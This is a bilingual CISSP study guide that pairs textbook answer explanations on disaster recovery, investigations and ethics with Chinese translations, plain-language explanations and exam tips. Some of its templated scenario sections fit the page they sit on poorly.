认证成功不等于什么都能做;权限仍要单独授权。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

Threat modeling 偏预防设计,threat hunting 偏主动发现已存在威胁。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
威胁狩猎 威胁狩猎是在已有迹象或怀疑时主动寻找妥协证据。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
学习单元 141 / PDF P1535

第 1535 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

(SIEM) system is a centralized application that monitors log entries from multiple sources. A network-based intrusion detection system (NIDS) raises alerts. A data loss prevention (DLP) system helps with egress monitoring and is unrelated to this question. (SIEM)

中文直译 / 整理

系统是一个集中式应用程序,用于监控来自多个来源的日志条目。 基于网络的入侵检测系统 (NIDS) 会发出警报。 数据防泄漏 (DLP) 系统有 助于出口监控,但与此问题无关。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

程序:程序是一步一步怎么做。

入侵检测系统 IDS:IDS 负责发现可疑行为并告警,一般不直接阻断。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1535 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

检测是 IDS,主动阻断更像 IPS。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
程序 程序是一步一步怎么做。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 142 / PDF P1536

第 1536 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 18: Disaster Recovery Planning 1. C. Once a disaster interrupts the business operations, the goal of DRP is to restore regular business activity as quickly as possible. Thus, disaster recovery planning picks up where business continuity planning leaves off. Preventing business interruption is the goal of business continuity, not disaster recovery programs. While disaster recovery programs are involved in setting up temporary operations and minimizing the impact of disasters, this is not their end goal. 2. C. The recovery point objective (RPO) specifies the maximum amount of data that may be lost during a disaster and should be used to guide backup strategies.

The maximum tolerable downtime (MTD) and recovery time objective (RTO) are related to the duration of an outage, rather than the amount of data lost. The mean time between failures (MTBF) is related to the frequency of failure events. 3. D. The lessons learned session captures discoveries made during the disaster recovery process and facilitates continuous improvement. It may identify deficiencies in training and awareness or the BIA. 4. B. Redundant arrays of inexpensive disks (RAID) are a fault tolerance control that allow an organization's storage service to withstand the loss of one or more individual disks.

Load balancing, clustering, and HA pairs are all fault tolerance services designed for server compute capacity, not storage. 5. C. Cloud computing services provide an excellent location for backup storage because they are accessible from any location. The primary data center is a poor choice, as it may be damaged during a disaster. A field office is reasonable, but it is in a specific location and is not as flexible as a cloud-based approach. The IT manager's home is a poor choice, as the IT manager may leave the organization or may not have appropriate environmental and physical security controls in place. 6. A, B, D.

The only incorrect statement here is that business continuity planning picks up where disaster recovery planning leaves off. In fact, the opposite is true: Disaster recovery planning picks up where business continuity planning leaves off. The other three statements are all accurate reflections of the role of business continuity planning and disaster recovery planning. Business continuity planning is focused on keeping business functions uninterrupted when a disaster strikes.

中文直译 / 整理

第18章:灾难恢复规划 1. C。 一旦灾难中断了业务运营,灾难恢复计划(DRP)的目标就是尽快恢 复正常的业务活动。 因此,灾难恢复规划接续业务连续性规划之后展开。 防止业务中断是业务连续性的目标,而非灾难恢复计划的目标。 尽管灾难 恢复计划涉及建立临时运营并最小化灾难的影响,但这并非其最终目标。 2. C。 恢复点目标(RPO)规定了灾难期间可能丢失的最大数据量,应据此 指导备份策略。 最大可容忍停机时间(MTD)和恢复时间目标(RTO)与 停机持续时间相关,而非与数据丢失量相关。 平均故障间隔时间(MTBF) 则与故障事件的发生频率相关。 3. D。 经验总结会议记录灾难恢复过程中发现的问题,并促进持续改进。 它 可能识别出培训与意识不足或业务影响分析(BIA)中的缺陷。 4. B. 低成本磁盘冗余阵列(RAID)是一种容错控制措施,可使组织的存储 服务在丢失一个或多个独立磁盘时仍能正常运行。 负载均衡、集群和高可用 性对都是为服务器计算能力设计的容错服务,而非针对存储。 5. C. 云计算服务是备份存储的理想选择,因为它们可以从任何位置访问。 主 数据中心是较差的选择,因为在灾难发生时可能受损。

现场办公室是合理的 选择,但它位于特定位置,灵活性不如基于云的方案。 IT经理的家中是较差 的选择,因为IT经理可能离开组织,或其住所缺乏适当环境与物理安全控制。 6. A、B、D。 此处唯一错误的陈述是业务连续性规划在灾难恢复规划结束后 接续工作。 事实上,情况正好相反:灾难恢复规划是在业务连续性规划结束 后接续工作的。 其他三项陈述均准确反映了业务连续性规划与灾难恢复规划 的作用。 业务连续性规划的重点是在灾难发生时保持业务功能不间断。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

灾难恢复计划 DRP:DRP 关注 IT 系统、数据和基础设施如何恢复。

恢复时间目标 RTO:RTO 是业务或系统最多能中断多久。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1536 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

网络题先定位层次,再判断协议、设备或攻击位置。

RTO 是多久恢复,RPO 是能丢多少数据。

RTO 问时间:多久必须恢复。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
灾难恢复计划 DRP DRP 关注 IT 系统、数据和基础设施如何恢复。
恢复时间目标 RTO RTO 是业务或系统最多能中断多久。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 143 / PDF P1537

第 1537 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Organizations can choose whether to develop business continuity planning or disaster recovery planning plans. Disaster recovery planning guides an organization through recovery of normal operations at the primary facility. 7. B. The term 100-year floodplain is used to describe an area where flooding is expected once every 100 years. It is, however, more mathematically correct to say that this label indicates a 1 percent probability of flooding in any given year. 8. D. When you use remote mirroring, an exact copy of the database is maintained at an alternative location. You keep the remote copy up-todate by executing all transactions on both the primary and remote sites at the same time.

Electronic vaulting follows a similar process of storing all data at the remote location, but it does not do so in real time. Transaction logging and remote journaling options send logs, rather than full data replicas, to the remote location. 9. C. All of these are good practices that could help improve the quality of service that Bryn provides from her website. Installing dual power supplies or deploying RAID arrays could reduce the likelihood of a server failure, but these measures only protect against a single risk each. Deploying multiple servers behind a load balancer is the best option because it protects against any type of risk that would cause a server failure.

Backups are an important control for recovering operations after a disaster, and different backup strategies could indeed alter the RTO, but it is even better if Bryn can design a web architecture that lowers the risk of the outage occurring in the first place. 10. B. During the business impact analysis phase, you must identify the business priorities of your organization to assist with the allocation of BCP resources. You can use this same information to drive the DRP business unit prioritization. 11. C. The cold site contains none of the equipment necessary to restore operations.

All of the equipment must be brought in and configured and data must be restored to it before operations can commence. This often takes weeks, but cold sites also have the lowest cost to implement. Hot sites, warm sites, and mobile sites all have quicker recovery times. 12. C. Uninterruptible power supplies (UPS) provide a battery-backed source of power that is capable of preserving operations in the event of brief power outages. Generators take a significant amount of time to start and

中文直译 / 整理

组织可以选择是否制定业务连续性计划或灾难恢复计划。 灾难恢复计划指 导组织在主设施中恢复正常运营。 7. B. 术语 百年一遇洪水区 用于描述预计每100年发生一次洪水的区 域。 然而,更符合数学严谨性的说法是,该标签表示任何一年内发生 洪水的概率为1%。 8. D. 使用远程镜像时,会在备用位置维护数据库的精确副本。 您通过在主站 点和远程站点同时执行所有事务来保持远程副本的最新状态。 电子 Vaulting 遵循类似的流程,将所有数据存储在远程位置,但并非实时进行。 事务日志和远程日记选项则向远程位置发送日志,而非完整的数据副本。 9. C. 所有这些做法都有助于改善 Bryn 从其网站提供的服务质量。 安装双电 源或部署 RAID 阵列可以降低服务器故障的可能性,但这些措施各自仅能防 范单一风险。 在负载均衡器后部署多台服务器是最佳选择,因为它能防范导 致服务器故障的任何类型风险。 备份对于灾难后的运营恢复至关重要,不同 的备份策略确实可能影响 RTO,但如果 Bryn 能设计一种降低中断发生风险 的 Web 架构,则更为理想。 10. B. 在业务影响分析阶段,您必须确定组织的业务优先级,以协助分配 BCP资源。

您可以使用相同的信息来推动DRP的业务单元优先级排序。 11. C. 冷站点不包含恢复运营所需的任何设备。 所有设备都必须运抵并进行 配置,数据也必须恢复到该站点后,运营才能开始。 这通常需要数周时间, 但冷站点的实施成本最低。 热站点、温站点和移动站点的恢复时间都更短。 12. C. 不间断电源(UPS)提供由电池供电的电源,在短暂停电时能够维持运 营。 发电机启动需要较长时间,

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

日志:日志记录系统和用户活动,用于监控、审计和调查。

业务连续性计划 BCP:BCP 关注业务在灾难或中断中如何继续运行。

灾难恢复计划 DRP:DRP 关注 IT 系统、数据和基础设施如何恢复。

恢复时间目标 RTO:RTO 是业务或系统最多能中断多久。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1537 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

日志要保护完整性、时间同步和访问控制。

BCP 保护业务流程,DRP 保护 IT 恢复。

RTO 是多久恢复,RPO 是能丢多少数据。

RTO 问时间:多久必须恢复。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
日志 日志记录系统和用户活动,用于监控、审计和调查。
业务连续性计划 BCP BCP 关注业务在灾难或中断中如何继续运行。
灾难恢复计划 DRP DRP 关注 IT 系统、数据和基础设施如何恢复。
恢复时间目标 RTO RTO 是业务或系统最多能中断多久。
学习单元 144 / PDF P1538

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

are more suitable for longer-term outages. Dual-power supplies protect against power supply failures and not power outages. Redundant network links are a network continuity control and do not provide power. 13. D. Warm sites and hot sites both contain workstations, servers, and the communications circuits necessary to achieve operational status. The main difference between the two alternatives is the fact that hot sites contain near-real-time copies of the operational data, and warm sites require the restoration of data from backup. 14. D. The parallel test involves relocating personnel to the alternate recovery site and implementing site activation procedures.

Readthroughs, walk-throughs, and simulations are all test types that do not involve actually activating the alternate site. 15. A. The executive summary provides a high-level view of the entire organization's disaster recovery efforts. This document is useful for the managers and leaders of the firm as well as public relations personnel who need a nontechnical perspective on this complex effort. 16. D. Software escrow agreements place the application source code in the hands of an independent third party, thus providing firms with a “safety net” in the event a developer goes out of business or fails to honor the terms of a service agreement. 17. A.

Differential backups involve always storing copies of all files modified since the most recent full backup regardless of any incremental or differential backups created during the intervening time period. 18. B. People should always be your highest priority in business continuity planning. As a life safety system, fire suppression systems should always receive high prioritization. 19. A. Any backup strategy must include full backups at some point in the process. If a combination of full and differential backups is used, a maximum of two backups must be restored. If a combination of full and incremental backups is chosen, the number of required restorations may be large. 20. B.

Parallel tests involve moving personnel to the recovery site and gearing up operations, but responsibility for conducting day-to-day operations of the business remains at the primary operations center.

中文直译 / 整理

更适合长期中断。 双电源可防止电源故障,但不能防止停电。 冗余网络链 路是网络连续性控制,不提供电力。 13. D. 温站点和热站点均包含实现运行状态所需的工作站、服务器和通信电 路。 这两种方案的主要区别在于,热站点包含接近实时的运行数据副本,而 温站点则需要从备份中恢复数据。 14. D. 并行测试涉及将人员 relocating 到备用恢复站点并实施站点激活程序。 读‑ 通过、演练和模拟都是不涉及实际激活备用站点的测试类型。 15. A. 执行摘要提供了整个组织灾难恢复工作的高层视角。 该文件对公司的 管理者和领导者以及需要从非技术角度了解这一复杂工作的公关人员非常有 用。 16. D. 软件托管协议将应用程序源代码交由独立的第三方保管,从而在开发 人员倒闭或未能履行服务协议条款时,为企业提供一道“安全网”。 17. A. 差异备份始终存储自最近一次完整备份以来所有已修改的文件副本, 无论在此期间创建了任何增量备份或差异备份。 18. B. 在业务连续性规划中,人员应始终是最高优先级。 作为生命安全系统, 消防系统应始终获得高度优先考虑。 19. A. 任何备份策略都必须在某个阶段包含完整备份。

如果采用完整备份与差 异备份的组合,则最多需要恢复两个备份; 如果选择完整备份与增量备份的 组合,则所需恢复的次数可能较多。 20. B. 并行测试涉及将人员转移到恢复站点并启动运营,但日常业务运营 的责任仍留在主要运营中心。

小白解释

场景先行:你是公司的安全负责人,正在读第 1538 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

程序:程序是一步一步怎么做。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
程序 程序是一步一步怎么做。
学习单元 145 / PDF P1539

应有谨慎与尽职调查

一个偏采取合理行动,一个偏持续验证监督。

教材原文段落

Chapter 19: Investigations and Ethics 1. C. A crime is any violation of a law or regulation. The violation stipulation defines the action as a crime. It is a computer crime if the violation involves a computer either as the target or as a tool. Computer crimes may not be defined in an organization's policy, as crimes are only designed in law. Illegal attacks are indeed crimes, but this is too narrow of a definition. The failure to practice due diligence may be a liability but, in most cases, is not a criminal action. 2. B. A military and intelligence attack is targeted at the classified data that resides on the system.

To the attacker, the value of the information justifies the risk associated with such an attack. The information extracted from this type of attack is often used to plan subsequent attacks. 3. A. The code of ethics does not require that you protect your colleagues. 4. B. A financial attack focuses primarily on obtaining services and funds illegally. Accessing services that you have not purchased is an example of obtaining services illegally. Transferring funds from an unapproved source is obtaining funds illegally, as is leasing out a botnet for use in DDoS attacks. Disclosing confidential information is not necessarily financially motivated. 5. B.

A terrorist attack is launched to interfere with a way of life by creating an atmosphere of fear. A computer terrorist attack can reach this goal by reducing the ability to respond to a simultaneous physical attack. While terrorists may engage in other actions, such as altering information, stealing data, or transferring funds, as part of their attacks, these items alone are not indicators of terrorist activity. 6. D. Any action that can harm a person or organization, either directly or through embarrassment, would be a valid goal of a grudge attack. The purpose of such an attack is to “get back” at someone. 7. A, C.

Thrill attacks have no reward other than providing a boost to pride and ego. The thrill of launching the attack comes from the act of participating in the attack (and not getting caught). 8. C. Although the other options have some merit in individual cases, the most important rule is to never modify, or taint, evidence. If you modify evidence, it becomes inadmissible in court.

中文直译 / 整理

第19章:调查与伦理 1. C。 犯罪是指任何违反法律或法规的行为。 违规条款将该行为定义为犯罪。 如果违规行为涉及计算机作为目标或工具,则属于计算机犯罪。 组织的政策 中可能未定义计算机犯罪,因为犯罪仅由法律界定。 非法攻击确实是犯罪, 但这一定义过于狭窄。 未能尽到应有的注意义务可能构成责任,但在大多数 情况下并不构成刑事行为。 2. B。 军事和情报攻击针对的是系统中存储的机密数据。 对攻击者而言,信 息的价值足以证明此类攻击所伴随的风险是合理的。 从这种攻击中提取的信 息通常用于策划后续攻击。 3. A。 道德准则并不要求你保护你的同事。 4. B。 金融攻击主要侧重于非法获取服务和资金。 访问你未购买的服务是非 法获取服务的例子; 从未经批准的来源转移资金是非法获取资金,通过出租 僵尸网络用于DDoS攻击也是如此。 泄露机密信息并不一定具有经济动机。 5. B. 恐怖袭击旨在通过制造恐惧氛围来干扰一种生活方式。 计算机恐怖袭击 可以通过降低对同时发生的物理袭击的应对能力来实现这一目标。 尽管恐怖 分子可能在袭击中采取其他行动,例如篡改信息、窃取数据或转移资金,但 这些行为本身并不能作为恐怖活动的指标。

6. D. 任何可能直接或通过羞辱伤害个人或组织的行为,都可能是怨恨攻击 的合法目标。 此类攻击的目的是“报复”某人。 7. A、C. 刺激性攻击除了提升自豪感和自我满足感外,没有任何其他回报。 发动攻击的刺激感源于参与攻击(且未被抓获)的行为本身。 8. C. 尽管其他选项在个别情况下有一定道理,但最重要的原则是绝不能修 改或污染证据。 如果你修改了证据,它将在法庭上失去效力。

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:一个偏采取合理行动,一个偏持续验证监督。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

尽职调查:尽职调查是持续检查、验证和监督是否做到了。

政策:政策是高层原则,说明必须遵守什么。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“应有谨慎与尽职调查”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Due diligence 偏“确认事情被正确执行”。

Policy 高层、强制、稳定;Procedure 具体步骤。

网络题先定位层次,再判断协议、设备或攻击位置。

RPO 问数据:最多丢到哪个时间点。

ISC2 伦理题通常优先保护社会、公共利益和合法性。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
尽职调查 尽职调查是持续检查、验证和监督是否做到了。
政策 政策是高层原则,说明必须遵守什么。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
职业伦理 职业伦理要求安全人员保护公众、诚实负责、合法合规。
学习单元 146 / PDF P1540

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

9. D. The most compelling reason for not removing power from a machine is that you will lose the contents of memory. Carefully consider the pros and cons of removing power. After all is considered, it may be the best choice. 10. C. Written documents brought into court to prove the facts of a case are referred to as documentary evidence. The best evidence rule states that when a document is used as evidence in a court proceeding, the original document must be introduced.

The parol evidence rule states that when an agreement between parties is put into written form, the written document is assumed to contain all the terms of the agreement and no verbal agreements may modify the written agreement. Testimonial evidence is evidence consisting of the testimony of a witness, either verbal testimony in court or written testimony in a recorded deposition. 11. C. Criminal investigations may result in the imprisonment of individuals and, therefore, have the highest standard of evidence to protect the rights of the accused. 12. B. Root cause analysis seeks to identify the reason that an operational issue occurred.

The root cause analysis often highlights issues that require remediation to prevent similar incidents in the future. Forensic analysis is used to obtain evidence from digital systems. Network traffic analysis is an example of a forensic analysis category. Fagan inspection is a software testing technique. 13. A. Preservation ensures that potentially discoverable information is protected against alteration or deletion. Production places the information into a format that may be shared with others and delivers it to other parties, such as opposing counsel.

Processing screens the collected information to perform a “rough cut” of irrelevant information, reducing the amount of information requiring detailed screening. Presentation displays the information to witnesses, the court, and other parties. 14. B. Server logs are an example of documentary evidence. Gary may ask that they be introduced in court and will then be asked to offer testimonial evidence about how he collected and preserved the evidence. This testimonial evidence authenticates the documentary evidence. 15. B. In this case, you need a search warrant to confiscate equipment without giving the suspect time to destroy evidence. If the suspect 9. D.

中文直译 / 整理

不关闭机器电源的最有力原因是,您将丢失内存中的内容。 请仔细权 衡断电的利弊。 综合考虑后,这可能是最佳选择。 10. C. 在法庭上用于证明案件事实的书面文件被称为书证。 最佳证据规则规 定,当文件作为法庭程序中的证据使用时,必须提交原始文件。 口头证据规 则规定,当双方协议以书面形式确定时,该书面文件被视为包含协议的所有 条款,任何口头协议均不得修改书面协议。 证人证言是证人提供的证据,包 括法庭上的口头证词或记录的书面证词。 11. C. 刑事调查可能导致个人被监禁,因此需要最高的证据标准,以保护被告 的权利。 12. B. 根本原因分析旨在查明运营问题发生的原因。 根本原因分析通常会突出 需要纠正的问题,以防止未来发生类似事件。 取证分析用于从数字系统中获取 证据。 网络流量分析是取证分析的一个类别。 法根检查是一种软件测试技术。 13. A. 保全确保潜在可发现的信息免受篡改或删除。 提供阶段将信息转换为 可与他人共享的格式,并将其交付给其他方,例如对方律师。 处理阶段对收 集的信息进行筛选,以剔除无关信息的粗略部分,减少需要详细审查的信息 量。 展示阶段向证人、法庭和其他方呈现信息。

14. B. 服务器日志是文件证据的一个例子。 加里可以要求将其引入法庭,随 后将被要求就其如何收集和保全证据提供证言证据。 该证言证据用于认证文 件证据。 15. B. 在本案例中,您需要搜查令才能在不给嫌疑人销毁证据时间的情况 下没收设备。 如果嫌疑人

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

ISO 偏标准和管理体系。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

网络题先定位层次,再判断协议、设备或攻击位置。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 147 / PDF P1541

第 1541 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

worked for your organization and you had all employees sign consent agreements, you could simply confiscate the equipment. 16. A. Log files contain a large volume of generally useless information. However, when you are trying to track down a problem or an incident, they can be invaluable. Even if an incident is discovered as it is happening, it may have been preceded by other incidents. Log files provide valuable clues and should be protected and archived, often by forwarding log entries to a centralized log management system. 17. D.

Review examines the information resulting from the Processing phase to determine what information is responsive to the request and remove any information protected by attorney-client privilege. Identification locates the information that may be responsive to a discovery request when the organization believes that litigation is likely. Collection gathers the relevant information centrally for use in the eDiscovery process. Processing screens the collected information to perform a “rough cut” of irrelevant information, reducing the amount of information requiring detailed screening. 18. D. Ethics are simply rules of personal behavior.

Many professional organizations establish formal codes of ethics to govern their members, but ethics are personal rules individuals use to guide their lives. 19. B. The second canon of the ISC2 Code of Ethics states how a CISSP should act, which is honorably, honestly, justly, responsibly, and legally. 20. B. RFC 1087 does not specifically address the statements in A, C, or D. Although each type of activity listed is unacceptable, only “actions that compromise the privacy of users” are explicitly identified in RFC 1087.

中文直译 / 整理

如果员工曾为您的组织工作,且您已让所有员工签署同意协议,您就可以 直接没收设备。 16. A. 日志文件包含大量通常无用的信息。 然而,当您试图追踪问题或事 件时,它们可能极为宝贵。 即使事件在发生时被发现,也可能之前已发生 过其他事件。 日志文件提供了宝贵的线索,应加以保护和归档,通常通过 将日志条目转发到集中式日志管理系统来实现。 17. D. 审查阶段检查处理阶段产生的信息,以确定哪些信息对请求具有响应性, 并移除受律师‑客户特权保护的信息。 识别阶段在组织认为诉讼可能性较大时, 定位可能对取证请求具有响应性的信息。 收集阶段将相关信息集中起来,用于 电子取证过程。 处理阶段对收集的信息进行筛选,执行一次“粗略筛选”以剔 除无关信息,减少需要详细审查的信息量。 18. D. 伦理仅仅是个人行为的准则。 许多专业组织制定了正式的伦理规范来 约束其成员,但伦理是个人用来指导自身行为的准则。 19. B. ISC2 道德准则的第二条规范了 CISSP 应如何行事,即应正直、诚实、公 正、负责任且合法。 20. B. RFC 1087 并未明确涉及 A、C 或 D 中的陈述。

尽管所列的每种行为 均不可接受,但 RFC 1087 中仅明确指出了“损害用户隐私的行为”。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

日志:日志记录系统和用户活动,用于监控、审计和调查。

职业伦理:职业伦理要求安全人员保护公众、诚实负责、合法合规。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1541 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

日志要保护完整性、时间同步和访问控制。

ISC2 伦理题通常优先保护社会、公共利益和合法性。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
日志 日志记录系统和用户活动,用于监控、审计和调查。
职业伦理 职业伦理要求安全人员保护公众、诚实负责、合法合规。
学习单元 148 / PDF P1542

完整性:数据要正确、可信、未被乱改

完整性不只是防黑客篡改,也包括防授权用户误操作。

教材原文段落

Chapter 20: Software Development Security 1. A. The three elements of the DevOps model are software development, quality assurance, and IT operations. Information security is only introduced in the DevSecOps model. 2. B. Input validation ensures that the input provided by users matches the design parameters. Polyinstantiation includes additional records in a database for presentation to users with differing security levels as a defense against inference attacks. Contamination is the mixing of data from a higher classification level and/or need-to-know requirement with data from a lower classification level and/or need-to-know requirement.

